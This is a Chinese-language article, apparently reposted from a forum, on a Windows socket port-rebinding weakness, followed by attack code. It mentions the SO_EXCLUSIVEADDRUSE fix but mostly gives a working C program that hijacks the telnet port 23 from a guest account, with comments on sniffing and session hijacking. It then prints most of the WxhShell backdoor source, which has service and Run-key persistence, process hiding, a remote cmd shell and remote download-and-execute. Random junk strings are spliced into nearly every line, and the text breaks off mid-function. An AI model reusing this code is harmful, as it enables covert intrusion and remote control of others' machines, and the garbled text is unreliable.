在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
hSfLNvK
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
FN29 5:Iuw P<s:dH" saddr.sin_family = AF_INET;
(h>+ivf| -[-Ry6G saddr.sin_addr.s_addr = htonl(INADDR_ANY);
2W q/_: u}BN)%`B bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
hP26 Bb1 :j(D&?ao 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Z=CY6Zu7 C;.+ kE 这意味着什么?意味着可以进行如下的攻击:
S[L2vM) OCYC
Dn 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
B)L;ja jN^09T49 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
~[9(}UM 70{fl
4J5 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
|,OTGZgc Ehf3L |9 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
B(U0 ~{7a }Q%fY(bp 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
8I|2yvhP |q*s)8 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
)uIHonXU 8et.A 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
TLiA>`r= B#9T6|2 #include
ky98Bz% #include
{;j@-=pV #include
>" z&KZKI #include
>Gyg`L\ DWORD WINAPI ClientThread(LPVOID lpParam);
{uuvgFC int main()
Il,^/qvIY {
5,1q% WORD wVersionRequested;
b6~MRfx`7 DWORD ret;
{glRXR WSADATA wsaData;
&+>)H$5 BOOL val;
6
&)fZt SOCKADDR_IN saddr;
xtP=/B/ SOCKADDR_IN scaddr;
5Pu
F]5 int err;
)XAD#GYM SOCKET s;
1O]27"9 SOCKET sc;
uSi/| int caddsize;
jt8%
L[ HANDLE mt;
*,=WaODO % DWORD tid;
MX#MDA-4 wVersionRequested = MAKEWORD( 2, 2 );
Nd.Tda!Kg err = WSAStartup( wVersionRequested, &wsaData );
1WMwTBHy+ if ( err != 0 ) {
!%_H1jk printf("error!WSAStartup failed!\n");
ua!g}m~ return -1;
k1
}
IfGQeynj saddr.sin_family = AF_INET;
J((.zLvz 8{Id+Q>Vo, //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Sk 10"D B/ B[rxV saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
>o"3:/3 saddr.sin_port = htons(23);
Ood'kAH1B if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
8FY/57.W {
OY/sCx+c printf("error!socket failed!\n");
@43o4, return -1;
>f*[U/{ K }
a>{b'X^LV val = TRUE;
c(<,qWH //SO_REUSEADDR选项就是可以实现端口重绑定的
HN*w(bROr if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
'hM?J*m {
^"d!(npw printf("error!setsockopt failed!\n");
^v].mV/ return -1;
k$7@@?< }
H21\6 GY //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
4f?Y'+>Z, //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
+=bGrn>h //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
`+(|$?C u GL_a`.=@ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
.h8%zB#|i {
iEf6oM ret=GetLastError();
Eb<iR)e H= printf("error!bind failed!\n");
6!}tmdzR return -1;
t $+46** }
' 1aU0< listen(s,2);
fuxBoB while(1)
"A_WU| {
LF~=,S caddsize = sizeof(scaddr);
O/(qi8En //接受连接请求
3e g<) sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
$I7/FZP if(sc!=INVALID_SOCKET)
3T3p[q4 {
{&Fh$H! mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
wZECG-jr/ if(mt==NULL)
S)0bu(a`Z, {
Z Tx~+'( printf("Thread Creat Failed!\n");
Y@S?0 break;
RJ_ratKN*g }
<(Wa8PY2( }
AE)<ee%\\ CloseHandle(mt);
m$xyUv1 }
xwj%X%2 closesocket(s);
2dr[0tE WSACleanup();
y/m^G=Q6g# return 0;
|Aw(v6 }
F`ifHO DWORD WINAPI ClientThread(LPVOID lpParam)
o2 5kFD {
rZy38Wo SOCKET ss = (SOCKET)lpParam;
o4b!U % SOCKET sc;
@awaN unsigned char buf[4096];
cf|<~7 SOCKADDR_IN saddr;
q($lL~Ls long num;
JqO#W1h~R| DWORD val;
OjCT*qyU< DWORD ret;
Y'n TyH //如果是隐藏端口应用的话,可以在此处加一些判断
HB4Hz0Fa //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
9Osjh G saddr.sin_family = AF_INET;
%T UljX K} saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
! G%LYHx saddr.sin_port = htons(23);
0C}7=_? if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
MO:##C {
QK\QvU2y printf("error!socket failed!\n");
ZbYwuyHk(3 return -1;
@\_tS H }
qB_MDA val = 100;
aho;HM$hjP if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
C9/?B: {
8kih81tx"U ret = GetLastError();
j$#pG return -1;
DsqsMlB{ }
8 F'i5i if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
k3[
~I' {
Ou;
]>FJ ret = GetLastError();
_VR Sdr5 return -1;
!GMb~ }
SMQuJ_ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
56*}}B$? {
>Ge&v'~_| printf("error!socket connect failed!\n");
I<.3"F1} closesocket(sc);
, {7wvXP closesocket(ss);
&{* [7Ad return -1;
YF@'t~_Z }
!>/U6h,_ while(1)
i6r%;ueLb {
!cLX1S //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
:>'^l?b'WX //如果是嗅探内容的话,可以再此处进行内容分析和记录
w&v_#\T //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
H!&]Di1Eh num = recv(ss,buf,4096,0);
TeQWrms if(num>0)
BpCzmU send(sc,buf,num,0);
E`>-+~ZUsk else if(num==0)
9p(s FQ
[ break;
K/G|MT)
num = recv(sc,buf,4096,0);
/yIkHb^c if(num>0)
/Z>#lMg\. send(ss,buf,num,0);
'oHtg
@ else if(num==0)
KEsMes(* break;
> K,Q`sS }
K(Otgp+zb closesocket(ss);
#HB]qa closesocket(sc);
!l_1r$ return 0 ;
A75IG4] }
p[&'*"o!/ IQdiVj GFx>xQk ==========================================================
v 4(!~S Gw3|"14 下边附上一个代码,,WXhSHELL
Qm,|'y:Tg Rs8`M8(4% ==========================================================
c3!d4mC: g`gH]W
FcG #include "stdafx.h"
F%6al,8P W*-+j*e|_P #include <stdio.h>
_=j0Y=/IF #include <string.h>
bR49(K$~ #include <windows.h>
"VkraB.i #include <winsock2.h>
$t-HJ<! #include <winsvc.h>
.BlGV 2@^# #include <urlmon.h>
UBi0
/ +|Xx=1_?BK #pragma comment (lib, "Ws2_32.lib")
%`HAg MgP #pragma comment (lib, "urlmon.lib")
}9>W41 pF#nj`L #define MAX_USER 100 // 最大客户端连接数
'(kGc% #define BUF_SOCK 200 // sock buffer
>va#PFHA #define KEY_BUFF 255 // 输入 buffer
lW?}jzuo &iL"=\# #define REBOOT 0 // 重启
-GCGxC2u #define SHUTDOWN 1 // 关机
>&e|ins^N
LwkZ (Tt
#define DEF_PORT 5000 // 监听端口
I8`@Srw8 MH`f!%c #define REG_LEN 16 // 注册表键长度
P$Xig #define SVC_LEN 80 // NT服务名长度
k%/Z.4vQG &BCl>^wn} // 从dll定义API
c&AA< 6pkv typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
O|#^ &d typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
)fpZrpLXE typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
hPx=3L$ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
: UD<1fh sk$MJSE
~ // wxhshell配置信息
1'R]An BV struct WSCFG {
4iRcmsP int ws_port; // 监听端口
A/W0O;*q char ws_passstr[REG_LEN]; // 口令
]k]P (w int ws_autoins; // 安装标记, 1=yes 0=no
lycY1 lK char ws_regname[REG_LEN]; // 注册表键名
%gJf&A char ws_svcname[REG_LEN]; // 服务名
zm9>"(H char ws_svcdisp[SVC_LEN]; // 服务显示名
<:2El9l! char ws_svcdesc[SVC_LEN]; // 服务描述信息
$dgY#ST% char ws_passmsg[SVC_LEN]; // 密码输入提示信息
R.!'&<Svq int ws_downexe; // 下载执行标记, 1=yes 0=no
y0M^oLx char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
b(I-0< char ws_filenam[SVC_LEN]; // 下载后保存的文件名
( m\PcF HzF };
QK%{\qu OCa74)( // default Wxhshell configuration
d11~mU\ struct WSCFG wscfg={DEF_PORT,
5K;jW "xuhuanlingzhe",
#<S+E7uTs 1,
4E J "Wxhshell",
vR3'B3y "Wxhshell",
votv rZ= "WxhShell Service",
.4^Ep\\ "Wrsky Windows CmdShell Service",
- ~T LI&[ "Please Input Your Password: ",
7d]}BLpjWz 1,
:xm,Ok "
http://www.wrsky.com/wxhshell.exe",
ga?.7F "Wxhshell.exe"
e54wAypPOl };
BYyR-m p./zW
)7+ // 消息定义模块
s6lo11 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
EQ-r char *msg_ws_prompt="\n\r? for help\n\r#>";
T'
%TMA char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
|#L U"D char *msg_ws_ext="\n\rExit.";
GP<A v1 char *msg_ws_end="\n\rQuit.";
9sFZs]uM char *msg_ws_boot="\n\rReboot...";
G}&B{Ir char *msg_ws_poff="\n\rShutdown...";
/z>G=kA char *msg_ws_down="\n\rSave to ";
ZC@ 33Q( 6FiI\ char *msg_ws_err="\n\rErr!";
!0CC &8C`
char *msg_ws_ok="\n\rOK!";
#pErGz'{ `6)GjZh^ char ExeFile[MAX_PATH];
Vi?[yu<F int nUser = 0;
93$'PwWgiF HANDLE handles[MAX_USER];
1\=)b< y int OsIsNt;
7$b!-I+a2 BRPvBs?Q,{ SERVICE_STATUS serviceStatus;
s%2 w&Us* SERVICE_STATUS_HANDLE hServiceStatusHandle;
-Id4P _y y$Sn3_9 V // 函数声明
) kfA5xi[ int Install(void);
:$~)i?ge<5 int Uninstall(void);
Jajo!X*Wai int DownloadFile(char *sURL, SOCKET wsh);
}KEyJj3"DA int Boot(int flag);
aJ}y|+Cj void HideProc(void);
k(pI5N}pJZ int GetOsVer(void);
C}<j8a? int Wxhshell(SOCKET wsl);
3vfm$sx@ void TalkWithClient(void *cs);
{~_X-g5|] int CmdShell(SOCKET sock);
>k"Z'9l int StartFromService(void);
U$&G_&*0a int StartWxhshell(LPSTR lpCmdLine);
@@"}i7 >\y|}|? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
+3dWnBg? VOID WINAPI NTServiceHandler( DWORD fdwControl );
eRKuy l LuM:dJ // 数据结构和表定义
@e8b'w3 SERVICE_TABLE_ENTRY DispatchTable[] =
5I`j'j {
3}@3pVS {wscfg.ws_svcname, NTServiceMain},
_dky+ E {NULL, NULL}
?&
qM C };
9fj3q>Un, y3{'s>O6 // 自我安装
r:]t9y>$< int Install(void)
@E
%:ALJ {
T"xq^h1\ char svExeFile[MAX_PATH];
*pK bMG# HKEY key;
8/F}vfKEN strcpy(svExeFile,ExeFile);
+!h~T5Ck k&wCa<Rs~R // 如果是win9x系统,修改注册表设为自启动
Z0uo.
H@.N if(!OsIsNt) {
}^U7NZn<" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@iwVU]j RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
YRa{6*M RegCloseKey(key);
v W=$C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
HX%lL}E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
F7P?*!dx RegCloseKey(key);
cH%qoHgx return 0;
rp^=vfW }
6<X.]"u+E~ }
}Q&zYC]d }
a9]F.Jm else {
h+=xG|1R[5 v EppkS U1 // 如果是NT以上系统,安装为系统服务
-< D7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
yw2Mr+9I if (schSCManager!=0)
$c"byQ[3S {
9'nM$a SC_HANDLE schService = CreateService
N3dS%F,_ (
TgMa!Vz schSCManager,
g@0<`g wscfg.ws_svcname,
HY-7{irR~ wscfg.ws_svcdisp,
$cjwY$6 SERVICE_ALL_ACCESS,
H@ Yj SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Sggha~E2s SERVICE_AUTO_START,
KZrg4TEVi SERVICE_ERROR_NORMAL,
a,mG5bQ! svExeFile,
r& NULL,
.TZ0FxW NULL,
qaJ$0,]H+ NULL,
O&BNhuW2 NULL,
" kp+1sG8 NULL
}
DQ<YF+ );
?+Gc.lU if (schService!=0)
1<|\df. {
j11FEE<W CloseServiceHandle(schService);
sNB*S{ CloseServiceHandle(schSCManager);
vd<r}3i* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
X!H[/b:1O strcat(svExeFile,wscfg.ws_svcname);
@jh\yj rW if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
]JDKoA{S0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
<14,xYpE RegCloseKey(key);
^4MRG6G return 0;
PL"u^G` }
JTGA\K }
/B"FGa04p( CloseServiceHandle(schSCManager);
g
Va;! }
MpY/G%3 }
P"*#mH[W| cft/;Au{ return 1;
'O>p@BEK }
55O_b)$ <MK4#I1I // 自我卸载
+vf~s^ int Uninstall(void)
ul(pp+%S {
7`xeuK HKEY key;
Z4ekBdmCL (F=/r]Q if(!OsIsNt) {
`-_kOxe3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-Cn x!g} RegDeleteValue(key,wscfg.ws_regname);
OVq(ulwi+ RegCloseKey(key);
2/o_,k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^*?mb) RegDeleteValue(key,wscfg.ws_regname);
O q3aboAt RegCloseKey(key);
D[jPz0 return 0;
\B/!}Tn; }
zX]4DLl, }
9}-;OJe }
( JMk0H3u else {
r0^ *|+
$Gs9"~z?; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
@kstG3@ if (schSCManager!=0)
r+%$0eB1^ {
C" SG': SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
pu-X -j if (schService!=0)
t[e`wj+qz {
k2-+3zx if(DeleteService(schService)!=0) {
P~}Yj@2 CloseServiceHandle(schService);
C[ma!he CloseServiceHandle(schSCManager);
op8[8pt% return 0;
E;1QD/E$ }
m>FP&~2 CloseServiceHandle(schService);
4De2miq }
q"LE6?hs CloseServiceHandle(schSCManager);
:,Zs{\oI3 }
R6m6bsZ` }
"!S7D>2y# %+pF4f8] return 1;
_-=yD@;[D }
_^ZBSx09) }1kZF{KD<[ // 从指定url下载文件
>mAi/TZC int DownloadFile(char *sURL, SOCKET wsh)
ew+>?a'&L {
jjT)3
c:J[ HRESULT hr;
qs$w9I char seps[]= "/";
5M v<8P~ char *token;
QZwZ4$jkiO char *file;
tkIpeL[d char myURL[MAX_PATH];
+b
sc3 char myFILE[MAX_PATH];
dDrzO*a\ #1)#W6 h\ strcpy(myURL,sURL);
h"}c_lY9 token=strtok(myURL,seps);
u> @@ while(token!=NULL)
%/n#{;c# {
`g+Kv&546 file=token;
rtxG-a56Q token=strtok(NULL,seps);
\yhj {QS.k }
1xTNrLW jp+s[rRc\{ GetCurrentDirectory(MAX_PATH,myFILE);
L#k`>Qn2 strcat(myFILE, "\\");
]q`'l_O strcat(myFILE, file);
cj;k{Moc send(wsh,myFILE,strlen(myFILE),0);
$Wn!vbL send(wsh,"...",3,0);
@
JfQ}` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
'O^<i`8U] if(hr==S_OK)
b3.}m[] return 0;
?Gnx!3Q else
Ud:;kI%Vj return 1;
ThiM6Hb RW`+F|UbE }
T9NTL\; bQgtZHO // 系统电源模块
0`QF: int Boot(int flag)
[;Y*f,UG_- {
*{!E`),FX HANDLE hToken;
,a34=, TOKEN_PRIVILEGES tkp;
]G}:cCpd+a "?=$(7uc if(OsIsNt) {
fR&x5Ika0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
X1XmaO%A LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
">FuCvQ tkp.PrivilegeCount = 1;
qFE(H1hy tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Mi<l;ZP AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
06]%$-j if(flag==REBOOT) {
exxH0^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
F-=Xbyr3@ return 0;
o`M.v[O }
9GgXX9K else {
QB5,Vfoux if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
@bIZ0tr4 return 0;
bLSUF`-z }
g[L}puN }
P$v9 else {
y=&^=Zh[ if(flag==REBOOT) {
ne|N!!Dmk if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
\Lg{GN. return 0;
c[+uwO~ }
\C kb: else {
M@ =VIrX,m if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
_/z3QG{Ea^ return 0;
Hrg -5_ }
19;Pjo8 }
3S"kw |.?$:D&6 return 1;
MZvxcr{x }
Rm[{^V.Z$ 2*@@Bw.XA // win9x进程隐藏模块
VXO.S)v2J void HideProc(void)
]sDlZJX<M {
}u.I%{4 y_M,p?]^, HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
P?|>,
\t if ( hKernel != NULL )
,uL}O]L {
.cK<jF@' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
=`g@6S ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
1StaQUB FreeLibrary(hKernel);
b[^|.>b }
$T7(AohR H`OJN. return;
(9KiIRN }
TJ>$ ~9&Sy `Y,<[ Lnr // 获取操作系统版本
6&KcO:}- int GetOsVer(void)
\hDjZ {
xM_+vN*( OSVERSIONINFO winfo;
Yan,Bt{YJ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
vw*,_f GetVersionEx(&winfo);
-r%k)4_ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
^=ar Kp,?5 return 1;
Vrt*,R& else
aa&\HDh * return 0;
c JOT{ }
,HwOMoP7 !h70 <Q^ // 客户端句柄模块
ozkmZ; int Wxhshell(SOCKET wsl)
|3C5"R3ZGO {
'RpX&g SOCKET wsh;
\<%?=C'w~ struct sockaddr_in client;
s
>7(S%#N DWORD myID;
H|z:j35\ J0UF( while(nUser<MAX_USER)
O^r,H,3S {
<KrfM int nSize=sizeof(client);
b,lIndj# wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
8F/JOtkGMt if(wsh==INVALID_SOCKET) return 1;
m^KK
#Hw/` 2`pg0ciX ( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
MXs]3M if(handles[nUser]==0)
&d=ZCaP closesocket(wsh);
O~c\+~5M* else
QFU1l"(qGk nUser++;
"$ U!1 }
S?u@3PyJm WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
cIg+^Tl z+]YB5zK% return 0;
ok/{ w }
#T08H,W/ yZY.B
{ // 关闭 socket
jfjT::f>l void CloseIt(SOCKET wsh)
F!cRx%R {
C%Fc%}[ closesocket(wsh);
PDhoCAh
! nUser--;
)26_7.| ExitThread(0);
kz^?!l)X0 }
]L_h3Xz\X oT*qMLdn // 客户端请求句柄
c4iGtW void TalkWithClient(void *cs)
c52S2f7 {
:tT6V(-W gUrXaD# SOCKET wsh=(SOCKET)cs;
a[7Lqu char pwd[SVC_LEN];
p* tAwl char cmd[KEY_BUFF];
6MmkEU z char chr[1];
5^Ps(8VbS int i,j;
&5Huv?^a' t{Z:N']H while (nUser < MAX_USER) {
/EV _Y|(- Yl"l|2
: if(wscfg.ws_passstr) {
cc:,,T/i if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
wg=-&- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
p~17cH4~-f //ZeroMemory(pwd,KEY_BUFF);
JQH>{OB i=0;
=4804N7 while(i<SVC_LEN) {
/XXy!=1J k/hNap'0 // 设置超时
%Iv*u sXP fd_set FdRead;
,o sM|!, struct timeval TimeOut;
{J]x81}*; FD_ZERO(&FdRead);
7(B"3qF8| FD_SET(wsh,&FdRead);
N.?)s.D( TimeOut.tv_sec=8;
a$]i8AeG TimeOut.tv_usec=0;
jn+BH3e int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
o$k9$H>Na if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
u9D#5NvGs Itv}TK
eF if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
vu`,:/|h pwd
=chr[0]; siD/`T&
if(chr[0]==0xd || chr[0]==0xa) { s'=w/os
pwd=0; r;8X6C
break; q1,jDJglZ
} /Gvd5
i++; ;}4^WzmK^(
} @Q%<~b[y
(!0fmL
// 如果是非法用户,关闭 socket tl^![Z
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8"C[sRhz
} #pr{tL
fm$)?E_Rp
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -gVsOX0
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &z?:s
rixt_}aE
while(1) { /Bp5^(s
^e(*{K;8
ZeroMemory(cmd,KEY_BUFF); # GOL%2X
!Hx[
`3
// 自动支持客户端 telnet标准 L<Q>:U.@\
j=0; )GR4U8<>g
while(j<KEY_BUFF) { TcOmBKps'
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @y(<4kLz
cmd[j]=chr[0]; s|IC;C|
if(chr[0]==0xa || chr[0]==0xd) { Ms14]M[\
cmd[j]=0; 4Bk9d\z
break; 2dnyIgi
} 'yNS(Bg=
j++; rLp (}^
} F-PQ`@ZNW
-;j
'=?
// 下载文件 U$7]*#@&
if(strstr(cmd,"http://")) { V~fPp"F
send(wsh,msg_ws_down,strlen(msg_ws_down),0); pd}Cg'}X
if(DownloadFile(cmd,wsh)) MP$9W)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N'~l,{
else uc]`^,`2/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \JbOT%1
} ~ ^*;#[<
else { nj6|WJ
?XB[awTD~
switch(cmd[0]) { R_2T"
H&!?c5
// 帮助 =pd#U
case '?': { ZiaHLpk
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0YO/G1O&
break; &%r<_1
} ]? %*3I
// 安装 f7?IXDQ>!
case 'i': {
>8.o
if(Install()) _:~I(c6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _p;=]#+c&
else E~`l/ W
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,dXJCX8so
break; q}cm"lO$
} )<[)7`
// 卸载 ].HHTCD`c
case 'r': { m aOt/-
if(Uninstall()) si#1sdR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); raJv$P
else SSysOeD+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S(PU"}vZy
break; 'w?}~D.y
} 5F$~ZDu
// 显示 wxhshell 所在路径 <5o
oML]nP
case 'p': { F}c}I8Ao
char svExeFile[MAX_PATH]; GBYwS{4
strcpy(svExeFile,"\n\r"); ):7mK03J
strcat(svExeFile,ExeFile); 'q\[aKEX=
send(wsh,svExeFile,strlen(svExeFile),0); vJ{aBx`VS
break; h?P-
:E
} Y(B3M=j
// 重启 Sy"!Q%+|
case 'b': { ^T*'B-`C7X
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9w dl1QS
if(Boot(REBOOT)) A.cNOous|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Td5yRN! ?
else { 2x!cblo
closesocket(wsh); s2"<<P[q'
ExitThread(0); HpIWH*
} =fK6P6'B
break; yR1v3D4E
} d-`z1'
// 关机 c]68$;Z7
case 'd': { <lTLz$QE
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #Q@~TW
if(Boot(SHUTDOWN)) 7mA:~- .u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r<5i
else { Y|cj&<o
closesocket(wsh); gN.n_!
ExitThread(0); c'
Q4Fzj0'
} om2)Cd9~7
break; E7 P'}
} d~#:t~
$,
// 获取shell ;k
(M4?
case 's': { @ RP?)*8}&
CmdShell(wsh); @:t2mz:^i
closesocket(wsh); L~E|c/
ExitThread(0); n;e.N:p
break; sFw;P`
} g17 fge6%
// 退出 O96%U$W
case 'x': { "f:_(np,
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ou{VDE
CloseIt(wsh); zg$NrI&
break; m1Xc3=Y
} -{ES 36
// 离开 2]cU:j6G
case 'q': { J+m1d\lBu
send(wsh,msg_ws_end,strlen(msg_ws_end),0); b}!T!IP}
closesocket(wsh); PO*0jO;%
WSACleanup(); " TC:O^X
exit(1); oAgU rl;R
break; I ;F\'P)e
} s[#_sR`y
} P
c'\
} v)JS4KS
!q 9PO
// 提示信息 RV),E:?
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xwojjiV
} oZ>2Tt%
} Rw^X5ByJE
cnB:bQQK8
return; b\p2yJ\
} \G2PK&)F
]/7#[
// shell模块句柄 >
1=].
int CmdShell(SOCKET sock) [D2<)
{ 2 }rYH;Mx
STARTUPINFO si; Dlg9PyQ
ZeroMemory(&si,sizeof(si)); +S@[1 N
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BBa!le9P
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YL/B7^fd8
PROCESS_INFORMATION ProcessInfo; Hb\['VhzM
char cmdline[]="cmd"; t:YMF$Z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $:D\yZ,
return 0; > ,x``-
} lJt?0;gn
WmuYHE U
// 自身启动模式 4VhKV JX
int StartFromService(void) kOQ!]-;
{ (Q"~bP{F
typedef struct >cH}sNHy
{ 7
lu_E.Bv
DWORD ExitStatus; 4wPP/`
